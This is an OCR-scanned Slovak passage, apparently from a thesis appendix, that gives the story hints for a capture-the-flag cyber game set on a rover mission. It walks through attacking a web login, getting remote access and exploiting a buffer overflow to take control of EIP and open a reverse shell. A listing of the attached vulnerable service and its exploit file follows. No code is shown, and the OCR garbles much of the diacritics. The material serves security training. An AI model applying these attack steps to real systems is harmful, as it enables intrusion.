Webova stranka je venovanda vasej misii a dokonca je na nej aj fotografia roveru,
do ktorého sa vlastne cely cas pokusas dosaf. Je to frustrujice, takto si si teda
vylet nepredstavoval. Obsah stranky okrem faktov, ktoré uz poznas nie je az tak
zaujimavy, avSak nie vsetko, ¢o sa ti hned zobrazi obsahuje to, ¢o prave hladas.

Niekedy veci nie st vidiet na prvy pohlad.

C.3 Vilajka 2

S webovymi aplikdciami uz mas nejaké sktusenosti a vies, ze na pozadi moze bezat
nejaky backend, ktory vyuziva zaujimavé sluzby a k tomu castokrat velmi nebez-
pecénym spdsobom.

Webova aplikacia obsahuje prihlasovaci formular, pravdepodobne do administra-
torského panela webového servera. Podla povahy kolegov programétorov a ich stylu

prace, na ktory si len s bolestou spominas usudis, Ze heslo asi nebude tazké prelomit.
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Skusas rozne hesla no ziadne spravne. Zdrojovy kéd neprezradil o ni¢ viac ako si
vedel doteraz. Zeby si svojich kolegov podcenil?
Nervozita stupa, preSiel uz predsa len nejaky cas a zavisi na tebe Tudsky zZivot!

Esteze existuju dalsie sposoby, ako na prihlasovaci formular ttocit.

C.4 Vlajka 3

Taka zakladna chyba a kolko skody modze vlastne sposobit, pomyslis si. Vlastne
dobre, ze tam bola, inak by to s kolegom nemuselo dopadnit najlepsie.
Uvedomis si, ze mas vlastne vSetko, aby si sa mohol vzdialene prihlasit na webovy

server. Caka ta jednoduchy krok, tak nerob zbytoéné chyby, ¢asu nie je nazvys!

C.5 Vlajka 4

Td najlahsiu cast mas za sebou. Nachadzas sa na webovom servery ako uzivatel
,webadmin® avsSak eskalacia privilégii nie je mozna a je v podstate aj zbytocna,
kedze cielom je kompromitovat server, ktory riadi jednotlivé rovery.

Musis néjst nieco, ¢o ti pomdze sa dostat na kontrolny server. Rozhliadas sa
po stiborovom systéme a zrazu zbadas nieco, ¢o vyzera skutocne zaujimavo.

Domovska zlozka uzivatela ,,webadmin® obsahuje zvlastnu zlozku a preskimaft
ju by urcite stalo za to. Zlozka obsahuje niekolko stiborov a k tomu aj sibor s ndzvom
note.txt, ktory ta trochu uvedie do kontextu ¢o vlastne tato zlozka a sibory v nej
pre teba znamenaju.

Akonéahle zbadas binarny stubor, tak ta napadne stihahnit si aplikdciu k sebe
na Kali a spustit ju pod debuggerom GDB. To, ¢o potrebujes najst a urobit, uz
vies. Pomyselne si vyhrnies rukdvy na skafandri a pohodlne sa usadis. Tak trochu
si uvedomujes, ze tu stravis nejaky cas.

https://owasp.org/www-community/vulnerabilities/Buffer Overflow

C.6 Vlajka b

Dobra praca, prave si ziskal kontrolu na EIP registrom, ¢o znamena, ze od tohto
momentu vies podstréit adresu instrukcie akej len chces a kompletne zmenit tok
exekicie programu.

To znie sice drsne, avsak ¢o to realne znamena, pytas sa sam seba. Opétovne sa
pozeras na PoC exploit, ktory si nasiel v zlozke pentest-results. Qurius Frostvandrer
je dobrak a nechal ti v PoC exploite aj prikaz, ktory mas pouzit na najdenie toho

¢o hlad4s.
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S trochou googlu prides na to, ako nalozit s vystupom, ktory ti prikaz poskytne.

C.7 Vlajka 6

Nachadzas sa v poslednej faze Buffer Overflow exploitaze. Ovladas register EIP,
pomocou predhodenej instrukcie JMP ESP menis tok exekiicie programu na stack,
¢o viak s tym? ,Co sa mé stat, k ¢omu mi to vlastne je!? Difam, Ze tu len zabijam
cas...”, pomyslis si. Uz preslo hodne casu a zacinas byt netrpezlivy, kolegovi uz
neostava vela casu.

Uvedomis si, ze aplikacia, na ktort vlastne ttocis bezi na vzdialenom stroji,
na ktorom chces vykonavat prikazy v terminaly. Potrebujes teda nadviazat TCP
spojenie s kontrolnym serverom a ziskat tak reverse shell. To znamena, Ze potrebu-
jes vygenerovat shellcode, ktory ti tiito funkcionalitu poskytne. Opét pozries do PoC
exploitu, kde uvidfs prikaz, ktory je nutné pouzit. Cas je nedprosny, no musfs za-

chovat chladnt hlavu a postupovat v pokoji. Na zbytocné chyby nie je vobec cas!

C.8 Vlajka 7

Dokézal si to a kolega predsa len prezije! Este ale nie je po vSetkom, kolega je stale
v bezvedomi. Musis prebrat kontrolu na roverom a odviest kolegu na zakladnu, kde

mu poskytni lekdrsku pomoc. Nevéhaj a bez zachranit Tudsky zivot! Stastni cestu.
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D Obsah elektronickej prilohy

Obsahom elektronickej prilohy je obsah korenového adresara webovej aplikacie vy-
vijanej pre tcely kybernetickej hry. Elektronicka priloha taktiez obsahuje zlozku,
v ktorej sa nachadza zdrojovy kod sluzby RATservice a prislusny skompilovany bi-
narny stubor, ktory je pouzity v kybernetickej hre. Zlozka RATservice taktiez ob-
sahuje zdrojovy kéd exploitu, ktory zneuziva zranitelnost Buffer Overflow v sluzbe
RATservice. Posledna zlozka obsahuje automatizacny skript, ktory v urcitej periéde

spusta sluzbu RATservice.

P Korenovy adresar prilozeného archivu
IR 1Y o3 afe Yo X /20NN OO Korenovy adresar webovej aplikacie
o= CSS styly

| _index.css

| style.css

e T Obrazky pouzité vo webovej aplikacii
| milky-way.png

| _rover.jpg

| space.jpg

=T JavaScript pre asynchrénne zobrazovanie obashu

utils. js
| config.php
| _index.php
| login.php
| _portal.php
| RATSEIrVICE. tvirtiiiieeiiien e Stibory zranitelnej sluzby RATservice
| RATservice.bin
| RATservice.c

| _exploit_POC.py
| Scripts. ..., Skript pre automatizaciu spistania sluzby RATservice

l_ RATservice.sh
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